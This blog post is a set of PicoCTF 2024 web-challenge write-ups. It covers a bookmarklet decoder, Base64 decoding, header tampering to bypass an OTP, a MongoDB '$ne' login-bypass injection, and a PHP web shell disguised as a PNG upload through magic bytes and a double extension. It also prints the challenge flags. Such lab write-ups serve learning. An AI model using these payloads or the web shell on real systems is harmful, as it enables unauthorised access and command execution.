PicoCTF 2024 - Web Exploitation Writeups

This post contains a collection of writeups under the Web Exploitation category for PicoCTF 2024.

Bookmarklet - 50 points

Bookmarklet - 50 Points Challenge
Flag distribution website screenshot

We are given the following javascript code as a bookmark.

javascript:(function() {
        var encryptedFlag = "àÒÆަȬëÙ£Ö–ÓÚåÛÑ¢ÕÓ—ÔšÅКٖí";
        var key = "picoctf";
        var decryptedFlag = "";
        for (var i = 0; i < encryptedFlag.length; i++) {
            decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256);
        }
        alert(decryptedFlag);
    })();

Bookmark that executes javascript

Basically for each character in the encryptedFlag string

  1. Converted to its integer UTF-16 char code ( à is 224)
  2. Minus the key char code for the current character modulo by key length (which ensures we will not be out of index bounds of key ). For example char code of key at index i = 0 is which is p is 112
  3. Add 256 and modulo it by 256 which in this example (112 + 256) % 256 gives us back 112
  4. Convert it back to String using String.fromCharCode which gives us p

Alternatively, simply run the code in the function in a javascript console and get the flag.

Flag: picoCTF{p@g3_turn3r_1d1ba7e0}

Advertisement
Advertisement

WebDecode - 50 points

WebDecode - 50 Points Challenge
WebDecode website screenshot

This is a very easy challenge similar to the Bookmarklet challenge, all we need is to inspect the source. When we navigate to the About page we see the following hint to inspect the page. If you are not familiar with encoding you might scratch your head wondering where is the flag. It is right there.

WebDecode About page inspected screenshot

cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZGYwZGE3Mjd9 is Base64 encoded. Once decoded, we get the flag. (If you have no idea what something is, try playing with it over at CyberChef which occasionally can magically tell u it is Bas64 encoded as in this example)

Flag: picoCTF{web_succ3ssfully_d3c0ded_df0da727}

IntroToBurp - 100 Points

IntroToBurp - 100 Points Challenge

This is honestly quite a badly named challenge. It is more like intro to sending HTTP Headers. Simply fill the form until u reach the OTP section. Send anything and it will say wrong OTP. Copy that request or intercept with burp or modify with Firefox and modify the Accept and Content-Type headers to application/json and you will get back the flag in the response claiming you "Bypassed the OTP"

Javascript fetch to get the flag
let result = await fetch("http://titan.picoctf.net:53880/dashboard", {
  "headers": {
    "accept": "application/json",
    "content-type": "application/json",
},
  "body": "otp=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});
await result.text()

Flag: picoCTF{#0TP_Bypvss_SuCc3$S_2e80f1fd}

Unminify - 100 Points

Unminify - 100 Points Challenge

Another challenge that was probably not well thought out, inspecting the source in Chrome simply shows the flag as one of the element classes

Unminify - Flag right in Inspect source

Flag: picoCTF{pr3tty_c0d3_622b2c88}

Advertisement
Advertisement

No SQL Injection - 200 Points

No SQL Injection - 200 Points Challenge

Looking at the source code, we see that the NoSQL injection lies in the unsanitised input to the find function in api/login/routes.ts

const users = await User.find({
      email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email,
      password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : password
    });

For Mongo, finding documents in such ways is vulnerable to SQLi and authentication bypass where we can make use of simple query filters such as not equals $ne

User.find(
{ 
   email: { "$ne": "a"}, 
   password: { "$ne": "a"}
});

The above will return users whose email and password both do not equal a.

Using { "$ne": "a"} for both email and password and input fields will return the list of users in the response. The flag is Base64 encoded in the user token field.

List of users once we bypass the login

Flag: picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_53d90e28}

Trickster - 300 Points

Trickster - 300 Points Challenge

There is no source code available so we can only play with it, uploading a random gif that ends with .png passes the rudimentary check but we are greated with the following error

Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/index.php:18 Stack trace: #0 /var/www/html/index.php(18): file_get_contents('') #1 {main} thrown in /var/www/html/index.php on line 18

PHP Errror

Okay now we know its a PHP app and it seems to try and get the file contents after file uploading.

Creating a sample PHP hello world script along with a simple webshell containing the following and adding the .png.php to the file name and upload it. (Remember to modify the request header for the Content-Type to image/png)

<?php 
echo "Hello World!<br/>";
if(isset($_GET['cmd']))
{
   system($_GET['cmd']);
}
?>

PHP Hello World Web Shell Example

Now we get the message

Error: The file is not a valid PNG image: 3c3f7068

Invalid PNG image check

There could be a magic byte check to see if it is a PNG file. PNG files can be identified by starting with 89 50 4E 47 0D 0A 1A 0A in hex.

echo -ne "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A$(cat pic.php.png)" > pic.png.php

Append PNG magic bytes

After reuploading the file, we see

File uploaded successfully and is a valid PNG file. We shall process it and get back to you... Hopefully

Taking a guess at where our file will be uploaded to, if we visit the /uploads folder with our file name we see our PHP code getting executed and we see Hello World

If we add in ?cmd=ls ../ in the url, it will get executed by the server and we see the list of files in the main html folder

List of files in /var/www/html

Change our cmd to cat ../G*.txt and we have the flag

Flag: picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_48785c0e}

Elements - 500 Points

I managed to bypass the checks to /remotecraft but could but not get any of the functions to return back the flag for the eval xss 😦

Here's a completed writeup by Saktoki for the elements challenge https://github.com/satoki/ctf_writeups/tree/master/picoCTF_2024/elements